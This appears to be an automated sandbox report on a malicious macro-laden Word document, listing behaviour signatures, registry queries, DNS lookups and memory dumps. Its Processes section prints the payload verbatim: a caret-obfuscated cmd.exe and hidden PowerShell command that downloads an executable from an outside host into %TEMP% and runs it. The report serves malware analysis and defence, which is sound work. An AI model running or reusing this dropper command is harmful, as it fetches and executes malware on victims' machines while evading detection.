Malware Analysis Report

2025-08-11 01:22

Sample ID 240327-rnk3daha7w
Target bcbe3da40fb46c6ae214a3e2b07ffeea422c9e8a937ed3caab5ac36cc0b61ba5
SHA256 bcbe3da40fb46c6ae214a3e2b07ffeea422c9e8a937ed3caab5ac36cc0b61ba5
Tags
macro
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

bcbe3da40fb46c6ae214a3e2b07ffeea422c9e8a937ed3caab5ac36cc0b61ba5

Threat Level: Known bad

The file bcbe3da40fb46c6ae214a3e2b07ffeea422c9e8a937ed3caab5ac36cc0b61ba5 was found to be: Known bad.

Malicious Activity Summary

macro

Process spawned unexpected child process

Suspicious Office macro

Suspicious behavior: AddClipboardFormatListener

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of SetWindowsHookEx

Suspicious use of WriteProcessMemory

Checks processor information in registry

Enumerates system info in registry

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-03-27 14:20

Signatures

Suspicious Office macro

macro
Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-03-27 14:20

Reported

2024-03-27 14:21

Platform

win10v2004-20240319-en

Max time kernel

30s

Max time network

35s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\bcbe3da40fb46c6ae214a3e2b07ffeea422c9e8a937ed3caab5ac36cc0b61ba5.doc" /o ""

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process N/A C:\Windows\SYSTEM32\cmd.exe C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE

Checks processor information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE

"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\bcbe3da40fb46c6ae214a3e2b07ffeea422c9e8a937ed3caab5ac36cc0b61ba5.doc" /o ""

C:\Windows\SYSTEM32\cmd.exe

cmd.exe /k ^powe^rsh^ell -E^x^ecuti^onPo^licy by^pass -n^oprofi^le -wi^nd^ows^tyle hi^dden $wc = New-Object System^.Net.Webclient;$wc.Hea^ders.Ad^d('Us^er-Ag^ent','Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)');$wc.Do^wnlo^adFi^le('ht^tp://sacrificery.top/ll/ldd.php','%TEMP%.e^xe') & IF EXIST %TEMP%.e^xe ( s^ta^rt %TEMP%.e^xe) & exit

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -ExecutionPolicy bypass -noprofile -windowstyle hidden $wc = New-Object System.Net.Webclient;$wc.Headers.Add('User-Agent','Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)');$wc.DownloadFile('http://sacrificery.top/ll/ldd.php','C:\Users\Admin\AppData\Local\Temp.exe')

Network

Country Destination Domain Proto
US 8.8.8.8:53 138.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 208.194.73.20.in-addr.arpa udp
US 8.8.8.8:53 194.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 46.28.109.52.in-addr.arpa udp
US 8.8.8.8:53 241.154.82.20.in-addr.arpa udp
US 8.8.8.8:53 roaming.officeapps.live.com udp
IE 52.109.76.243:443 roaming.officeapps.live.com tcp
US 8.8.8.8:53 sacrificery.top udp
US 8.8.8.8:53 243.76.109.52.in-addr.arpa udp
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 41.110.16.96.in-addr.arpa udp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
US 8.8.8.8:53 95.16.208.104.in-addr.arpa udp
US 8.8.8.8:53 149.220.183.52.in-addr.arpa udp

Files

memory/4776-0-0x00007FFC55A70000-0x00007FFC55A80000-memory.dmp

memory/4776-1-0x00007FFC55A70000-0x00007FFC55A80000-memory.dmp

memory/4776-2-0x00007FFC959F0000-0x00007FFC95BE5000-memory.dmp

memory/4776-4-0x00007FFC959F0000-0x00007FFC95BE5000-memory.dmp

memory/4776-3-0x00007FFC55A70000-0x00007FFC55A80000-memory.dmp

memory/4776-5-0x00007FFC55A70000-0x00007FFC55A80000-memory.dmp

memory/4776-6-0x00007FFC55A70000-0x00007FFC55A80000-memory.dmp

memory/4776-7-0x00007FFC959F0000-0x00007FFC95BE5000-memory.dmp

memory/4776-8-0x00007FFC959F0000-0x00007FFC95BE5000-memory.dmp

memory/4776-9-0x00007FFC959F0000-0x00007FFC95BE5000-memory.dmp

memory/4776-10-0x00007FFC959F0000-0x00007FFC95BE5000-memory.dmp

memory/4776-11-0x00007FFC53110000-0x00007FFC53120000-memory.dmp

memory/4776-12-0x00007FFC959F0000-0x00007FFC95BE5000-memory.dmp

memory/4776-13-0x00007FFC959F0000-0x00007FFC95BE5000-memory.dmp

memory/4776-14-0x00007FFC959F0000-0x00007FFC95BE5000-memory.dmp

memory/4776-15-0x00007FFC53110000-0x00007FFC53120000-memory.dmp

memory/4776-16-0x00007FFC959F0000-0x00007FFC95BE5000-memory.dmp

memory/4776-17-0x00007FFC959F0000-0x00007FFC95BE5000-memory.dmp

memory/4776-18-0x00007FFC959F0000-0x00007FFC95BE5000-memory.dmp

memory/4776-20-0x00007FFC959F0000-0x00007FFC95BE5000-memory.dmp

memory/4776-19-0x00007FFC959F0000-0x00007FFC95BE5000-memory.dmp

memory/4776-21-0x00007FFC959F0000-0x00007FFC95BE5000-memory.dmp

memory/4776-22-0x00007FFC959F0000-0x00007FFC95BE5000-memory.dmp

memory/4776-36-0x000002E045F40000-0x000002E046F10000-memory.dmp

memory/4776-37-0x000002E045F40000-0x000002E046F10000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hytuz14p.nf0.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/920-40-0x00000295ACB60000-0x00000295ACB82000-memory.dmp

memory/920-48-0x00007FFC69DD0000-0x00007FFC6A891000-memory.dmp

memory/920-49-0x00000295C5080000-0x00000295C5090000-memory.dmp

memory/920-50-0x00000295C5080000-0x00000295C5090000-memory.dmp

memory/920-56-0x00007FFC69DD0000-0x00007FFC6A891000-memory.dmp

memory/4776-59-0x00007FFC959F0000-0x00007FFC95BE5000-memory.dmp

memory/4776-60-0x00007FFC959F0000-0x00007FFC95BE5000-memory.dmp

memory/4776-61-0x00007FFC959F0000-0x00007FFC95BE5000-memory.dmp

memory/4776-62-0x00007FFC959F0000-0x00007FFC95BE5000-memory.dmp

memory/4776-63-0x00007FFC959F0000-0x00007FFC95BE5000-memory.dmp

memory/4776-64-0x000002E045F40000-0x000002E046F10000-memory.dmp

memory/4776-65-0x000002E045F40000-0x000002E046F10000-memory.dmp